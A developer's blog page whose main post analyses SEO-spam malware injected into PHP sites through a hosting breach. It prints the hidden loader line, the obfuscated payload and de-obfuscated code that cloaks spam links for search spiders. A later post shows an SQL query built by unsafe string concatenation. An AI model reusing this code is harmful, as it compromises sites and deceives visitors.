Intricate compromise of php-based web application

As I blogged about here, some of my clients' sites were recently altered, due to a compromise at their hosting company.

Clients' sites were altered in three ways:

  1. Invisible iframe added to php and html files
  2. .htaccess file altered to redirect to spammers site
  3. Links added to site code to generate pagerank for spammers sites

The first two were pretty straightforward and rudimentary, but the third was quite sophisticated.

What it did

The hack altered every the output of every page so that links were added which pointed to spammers' sites. These links were only shown to search engine spiders, so if you looked at the site with a browser everything looked fine. The point of this is to drive up the spammers' site's pagerank by making it appear that the client's site was linking to the spammers' sites. Only showing the links to spiders served to hide the fact that the site was compromised.

As a side effect, when the client's site showed up in search engine result pages, in place of the usual description were snippets of the spammy links.

This is a snippet of the code added to the page:

<ol style="font-weight:bold; color:navy; font-size:16px; overflow:hidden;height:1px; width:51px; font-family:Courier New;">If this sounds like you, then YES it is from a number of cards you want by giving the best policy <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=342">buy windows 7 from usa</a> The best part?
Recently a young child using the services they have <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=574">cheap rosetta stone korean</a> available to counter data theft Protection from a .4GHz T7700 to a stratumserver.
The drive is accessed, regardless of <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=700">acronis true image discount</a> their day by day.
License Manual” and “Road Rules USCanada Driving Test” at site USB for universal connect, the DAT60 drive <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=825">cost of microsoft word 2007</a> before purchasing the software from.
It is a set <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=249">can you buy windows xp anymore</a> point in time.
Note: <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=960">microsoft outlook 2003 price</a> While you are using.
This is a matter of fact <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=886">student discount visual studio</a> is these particular laptops is that the microSD system, according to the router.
That's one simple decision to be at the Iphone downloads that you are willing to do by registry files <a href="//ru.msi.com/html/active/2005/iloveMSI/vote.php?v=463">download 3ds max design 2010</a> and folders which are denied.
...

There were around 300 lines like this added to each page.

How it did it

The attack seems to be a variant ofa hack targeting WordPress, but remember that this site was not actually running WordPress, but rather a custom CMS.

At the bottom of the application's bootstrap file, this innocent-looking line had been added:

<?php $wp__theme_icon=@create_function('',@file_get_contents('/path/to/web/root/images/www.gif'));$wp__theme_icon(); ?>

If you're running WordPress, you're probably not going to freak out if you see that. What it does it load the contents of the file www.gif (also innocent-sounding) and executes it.

www.gif

This file was not a gif image of course, and had the following contents:

$cBkl7="3YlJXYlR2X1Zmb0NWau9";$AkNOiYBj='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';$gP3Nb5cg="\142\71\x32\x66\x66\145\146\x33\143\x38\145\x63\x64\64\63\x32\x36\65\66\x63\x38\x61\x32\x65\x38\141\66\60\x62\62\144\x64";$X3rSGI='';$aUy4XTaO="\57\x28\x2e\51\50\56\x29";$US4Df="\x70\x72\x65\147\x5f\162\x65\x70\x6c\x61\143\145";$D3fCO55="\142\141\163\x65\x36\x34\x5f\x64\145\x63\x6f\144\145";$K7LwB="$2$1";$a37s9ZDP="\145\64\145\61\x30\60\144\x62\x37\60\60\x39\x62\67\x38\63\x31\70\143\70\143\x37\x64\141\64\66\x36\x63\x63\x64\145\145";$Mpw5qX=$D3fCO55($US4Df($aUy4XTaO.'/',$K7LwB,$cBkl7));$Mpw5qX=$Mpw5qX($US4Df("$aUy4XTaO/",'$2$1',"\x61\x24\x24\x2c\x62"),$US4Df($aUy4XTaO.'/',$K7LwB,$D3fCO55($US4Df("$aUy4XTaO/","$2$1",'icnQTPnsyYzRXP0JWZowmbkEyOvliZyhSawQSP7QGP0l2cyxmbkUCKilzKksyKplHJusmc9MmcvhGKyRCJ7hmYkkXKv1mXyRCJ7hWYkkSJkAHIj1SK9l2OyVXduRicgQ3O=I'))));$b3g8rbV=$Mpw5qX($US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$gP3Nb5cg),$D3fCO55("\x58\167\163\x4b\x56\x7a\x6f\x42\x56\150\112\156\x41\101\167\x4c\121\x41\106\143\x52\60\131\75"));$yWvE=$Mpw5qX($US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$a37s9ZDP),$D3fCO55($US4Df($aUy4XTaO.'/',$K7LwB,'xUE91CfNxDCRkUDp')));$schtjq=$D3fCO55($US4Df("\57\x28\x2e\51\50\56\x29".'/',$K7LwB,$cBkl7));$AkNOiYBj=$US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$Mpw5qX($US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$gP3Nb5cg),$D3fCO55($AkNOiYBj)));$schtjq=$schtjq($X3rSGI,$US4Df("{$aUy4XTaO}".'/','$2$1',$yWvE($AkNOiYBj)));return $schtjq();

Hum. OK, thoroughly obfuscated php code. A quick search for a de-obfuscation tool turns up Stefan Esser's excellent tool 'evalhook'.

Running the code through evalhook gives us the somewhat de-obfuscated code:

function __lambda_func(){
// $Rev: 1077 $
if(!function_exists('__php___memory_exists')){
function __php___memory_exists(){
    $masks = array(
      array(-655417344,-655409153),array(1089052672,1089060863),
      array(1123631104,1123639295),array(1208926208,1208942591),
      array(-782925824,-782893057),array(-1379794944,-1379729409),
      array(1249705984,1249771519),array(-655417344,-655409153),
      array(1078218752,1078220799),array(1113980928,1113985023),
      array(1089052672,1089060863),array(1123631104,1123639295),
      array(1208926208,1208942591),array(-782925824,-782893057),
      array(-965974848,-965974833),array(-1379794944,-1379729409),
      array(-668867184,-668867177),array(-668867168,-668867161),
      array(-776377216,-776377089),array(-663925936,-663925921),
      array(1078220800,1078222847),array(1078214720,1078214783),
      array(1076485568,1076485583),array(1249705984,1249771519),
      array(134744064,134744319),array(134743040,134743295),
      array(67305984,67306239),array(-772300912,-772300897),
      array(1070843976,1070843983),array(-772425592,-772425585),
      array(-1504013248,-1504013233),array(134623232,134625279),
      array(1083880144,1083880159),array(1180247960,1180247967),
      array(1180359496,1180359503),array(1180359472,1180359479),
      array(1081896984,1081896991),array(-772191936,-772191929),
      array(1081927080,1081927087),array(1104609120,1104609135),
      array(1104396896,1104396911),array(1105135664,1105135679),
      array(1105036720,1105036735),array(1062518496,1062518527),
      array(1082183584,1082183599),array(1103424288,1103424303),
      array(1119913504,1119913519),array(1104572512,1104572543),
      array(1180247960,1180247967),array(1180359496,1180359503),
      array(1180359472,1180359479),array(1173102912,1173102919),
      array(1290950648,1290950655),array(1208934400,1208936447),
      array(1132356616,1132356623),array(-869104592,-869104577),
      array(1128602128,1128602135),array(-655652792,-655652785),
      array(-826636096,-826636033),array(1667240832,1667240863),
      array(1172313552,1172313559),array(1172315992,1172315999),
      array(1172316008,1172316015),array(1172588248,1172588255),
      array(1172588256,1172588263),array(1172588264,1172588271),
      array(1172588280,1172588287),array(1172589672,1172589679),
      array(1173190880,1173190887),array(1199710944,1199710951),
      array(1199710952,1199710959),array(1199710960,1199710967),
      array(1199728392,1199728399),array(1199728400,1199728407),
      array(1199728408,1199728415),array(1199728416,1199728423),
      array(1199728424,1199728431),array(1259417800,1259417807),
      array(1259813304,1259813311),array(1260780984,1260780991),
      array(1261762592,1261762599),array(1261735552,1261735559),
      array(1261761744,1261761751),array(1261762104,1261762111),
      array(1261762112,1261762119),array(1261762120,1261762127),
      array(1261762128,1261762135),array(1288200544,1288200551),
      array(1289513400,1289513407),array(1291247208,1291247215),
      array(1671628112,1671628119),array(1670420000,1670420007),
      array(1670647064,1670647071),array(1190127072,1190127103),
      array(1663596768,1663596799),array(1164938648,1164938655),
      array(1164938656,1164938663), //g
      array(1093926912,1094189055), //m
      array(1136852992,1136918527), //y
    ); $is_bot = false;
    $your_mask=ip2long($_SERVER["REMOTE_ADDR"]);
    $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", 
       "crawler", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress");  
    $_SERVER["HTTP_USER_AGENT"] = preg_replace("|User.Agent\:[\s ]?|i", "", @$_SERVER["HTTP_USER_AGENT"]);
    foreach ($masks as $mask)
      if($your_mask>=$mask[0] and $your_mask<=$mask[1])
        $is_bot = true;
    if($_SERVER["HTTP_A"]=="b")
      foreach ($stop_agents_masks as $stop_agents_mask)
        if(@eregi($stop_agents_mask, @$_SERVER["HTTP_USER_AGENT"]) !== false)
          $is_bot = true;
    return $is_bot;
  }

  function __php___memory_test() {
    if (!__php___memory_exists())
      return -1;
    $php__test_file = '/path/to/web/root/www.jpg';
    $data = @file_get_contents($php__test_file); // PHP >= 4.3.0
    $data = @gzuncompress($data);
    $startPos = 0;
    $blocks = Array();
    $label = '';
    while (false !== ($pos = strpos($data, '<block_d6e4ce93cf082de43cd713fd8e62103b id="', $startPos))) {
      if ($startPos) {
        $blocks[] = substr($data, $startPos, $pos - $startPos);
      }
      $startPos = $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="1234567890">');
      //$label = substr($data, $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="'), 10);
    }
    if ($startPos) {
      $blocks[] = substr($data, $startPos);
    }
    
    foreach ($blocks as $b) {
      echo __php_memory_diagnostics($b);
    }
  }
  
  function __php_memory_diagnostics($data) {
    $marker = '==d6e4ce93cf082de43cd713fd8e62103b=';
    $len1 = strlen($marker);
    $len2 = $len1 + 1;
    $pos1 = strpos($data, $marker);
    $pos2 = $pos1 + $len1;
    if (false === $pos1 || false === $pos2)
      return -1;
    $pos3 = strpos($data, '==', $pos2);
    if (false === $pos3)
      return -1;
    $num_lines = substr($data, $pos2, $pos3 - $pos2);
    //echo "VARS: [$pos1] [$pos2] [$pos3] [$num_lines]\n";
    $pos4 = strpos($data, $marker . '=', $pos3 + 2);
    if (false === $pos4)
      return -1;
    $hdr = substr($data, 0, $pos1);
    $ftr = substr($data, $pos4 + $len2);
    $data = explode("\n", trim(substr($data, $pos2, $pos4 - $pos2)));
    $data = __php___shuffle_by_seed($data);
    $data = array_slice($data, 0, $num_lines);
    return $hdr . implode("\n", $data) . $ftr;
  }
  
  function __php___make_seed($str, $count_r=3) {
    $seed = "";
    $tseed = 0;
    for($i = 0; $i < strlen($str); ++$i)
      $seed .= ord($str[$i]);
    for($i = 0; $i < strlen($seed); ++$i)
      $tseed += $seed[$i];
    return $tseed;
  }
  
  function __php___shuffle_by_seed($ar, $srand_seed=null){
    if($srand_seed == null)
      $srand_seed = __php___make_seed($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . 
md5($_SERVER["REQUEST_URI"]));
    $ar_tmp = array();
    $i=0;
    while($i < count($ar)) {
      srand($srand_seed);
      $r = rand(1,count($ar));
      if (isset($ar_tmp[$r-1]))
        ++$srand_seed;
      else {
        $ar_tmp[$r-1] = $ar[$i];
        ++$i;
      }
    }
    ksort($ar_tmp);
    return $ar_tmp;
  } 
  __php___memory_test();  
}
}


__lambda_func();

The short pseudo-code version would be:

if (is_in_list_of_spider_ip_addresses(remote_ip) || 
    is_in_list_of_spider_user_agents(remote_user_agent) {
    payload = load_payload_file_contents();
    payload = decompress_payload(payload);
    payload_shuffled = shuffle(payload);

    print payload_shuffled;
}

Somewhat bafflingly, the list of IP addresses that the code treats as being spiders includes large ranges of addresses assigned to clients on Comcast, AT&T, and other ISPs.

It's also curious that the attacker has chosen to write his own array shuffling code instead of using the native php shuffle() function. And to go a bit further, he re-seeds the RNG in every shuffle step. Gotta make sure those spam links are in a really random order!

I am in little doubt that the code author is a native English-speaker due to the choice of function names, though I can't quite see why they have been given innocent-sounding names when the code itself was obfuscated.

The code gives the attacker the ability to upload new payloads without having to alter the attack code. The modification date of the payload was later than the attack code, so it seems probable that the attacker has updated the payload at least once.

 

Monstrous SQL Query

I came across this SQL query in a web app I am pitching to replace.

I'm not going to name the guilty party, nor make any comments.

      SELECT
        0 as zero,
        ff.f_id as f_id, f.number, f.primary_ff_id, f.template, f.`order` as f_order,
          fi.id as fi_id, fi.datetime, fi.parent_fi_id, fi.`order`, fi.u_id,
  
          ff.type, ff.id as ff_id, ff.sub_id, ff.label, ff.desc,  ff.`order` as ff_order,
          ff.type, ff.name,

          IFNULL(t.tag, IFNULL(select_ffv.string, IFNULL(ffv.number, IFNULL(ffv.string, ffv.text)))) as value,
          ffv_value.fi_id as multi_fi, ffv_value.string as multi_value,

          ffp.key as ffp_key, ffp.value as ffp_value
      FROM f_fieldset f
  
        LEFT JOIN fi_item fi ON
          fi.f_id = f.id
          ".($parent_fiid != 0 ? " AND fi.parent_fi_id = '".(strpos($parent_fiid,"-")===false ? $parent_fiid : 0)."'" : "")."
      LEFT JOIN ff_field ff ON
          ff.f_id = f.id
      LEFT JOIN ffp_param ffp ON
            ffp.ff_id = ff.id
      LEFT JOIN ffv_value ffv ON
          ffv.fi_id = fi.id AND
          ffv.ff_id = ff.id
      LEFT JOIN f_fieldset select_f ON
        ff.type = 'select' AND
        select_f.id = ff.sub_id
      LEFT JOIN ffv_value select_ffv ON
        select_ffv.fi_id = ffv.number AND
        select_ffv.ff_id = select_f.primary_ff_id
      LEFT JOIN f_fieldset multi_f ON
        ff.type = 'multi_select' AND
        multi_f.id = 1051
      LEFT JOIN fi_item multi_fi ON
        multi_f.id = multi_fi.f_id AND
        multi_fi.parent_fi_id = fi.id
      LEFT JOIN ffv_value multi_ffv ON
        multi_fi.id = multi_ffv.fi_id
      LEFT JOIN f_fieldset f_value ON
        f_value.id = ff.sub_id
      LEFT JOIN fi_item fi_value ON
        fi_value.f_id = f_value.id
      LEFT JOIN ffv_value ffv_value ON
        ffv_value.ff_id = f_value.primary_ff_id AND
        ffv_value.fi_id = fi_value.id AND
        multi_ffv.number = fi_value.id
      LEFT JOIN t_tags t ON
        t.id = ffv.number AND
        ff.f_id = 1013
      WHERE
        ".($fid ? "f.id = '".$fid."'" : "fi.parent_fi_id = '".(strpos($parent_fiid,"-")===false ? $parent_fiid : 0)."' OR f.id BETWEEN 1000 AND 1010")."
      ORDER BY
        IF(
          IFNULL(f.`order`,'user') = 'user',
          IFNULL(fi.`order`, 2000000000 + fi.id),
          IF(f.`order` = 'newest',
            4294967295 - fi.datetime,
            fi.datetime)
          ),
        ff.`order`
    "

Send/Receive messages from Javascript to Flash

I needed to send and receive messages from javascript to a flash movie built in haXe.

Googling showed references to Haxe's remoting class, but there's a much simpler (and possibly less robust!) way using flash's ExternalInterface class.

First your going to need a reference to your flash movie. If you've embedded it using flashembed (and you are using flashembed, aren't you?), you can do it like this:

var movieObj;

$(document).ready(function() {
	var api = flashembed('background', {src: 'vid.swf', wmode: 'opaque', allowScriptAccess: 'always'});	
	movieObj = document.getElementById(api.getApi().id); 
});

movieObj now contains a reference to the flash movie's DOM element.

We can now send messages to the flash movie like this:

movieObj.pause();

OK, so far so good.

Now we need to tell the flash movie what to do with these messages.

In the flash actionscript, register the message with ExternalInterface, something like this:

import flash.external.ExternalInterface;

class Foo {
    
    public function new(){
        ...
        ExternalInterface.addCallback( 'pause', doPause );        
    }

    function doPause() {
        trace('got pause()');
    }

    public static function main() {
        new Foo();
    }    
    
}

Et voilá.

Now to get it working the other way around, you can call any javascript function (your own, or a built-in function) like this:

ExternalInterface.call('jsFunctionName', 'argument');   
// eg:
// ExternalInterface.call('alert', 'Foo!');   

Update on Gradwell hack

Gradwell have updated //www.gradwellstatus.com/ with the following:

... A further injection attempt was made this morning around 5:30, but this attempt was blocked by an on-call sysadmin before the exploit could fully deliver its payload.

While this is no doubt true, the exploit was certainly able to deliver enough of its payload to infect all the code on my clients' various accounts.

The target for the exploit is our PHP 4.4 cluster, which we announced the end of life for a while ago. To keep our network secure for everyone we will be removing these servers from service by the end of this week (week ending Christmas day) and moving all users across to our PHP 5.2 platform. ...

The end-of-life for the 4.4 cluster was notified on 2009-10-01:

The End of Life date for PHP 4.4 on our platform is Fri, 16 Apr 2010.

A Gradwell sysadmin has posted on uk.net.providers.gradwell:

Once they had access to the PHP 4.4 application servers they had access to all home directories via. a local root exploit.

I'm taking this to mean that clients should assume any data stored on the clusters has been compromised, and change passwords for FTP accounts, ssh access, mysql accounts, and also web application passwords stored in any databases on the cluster.

Back to Top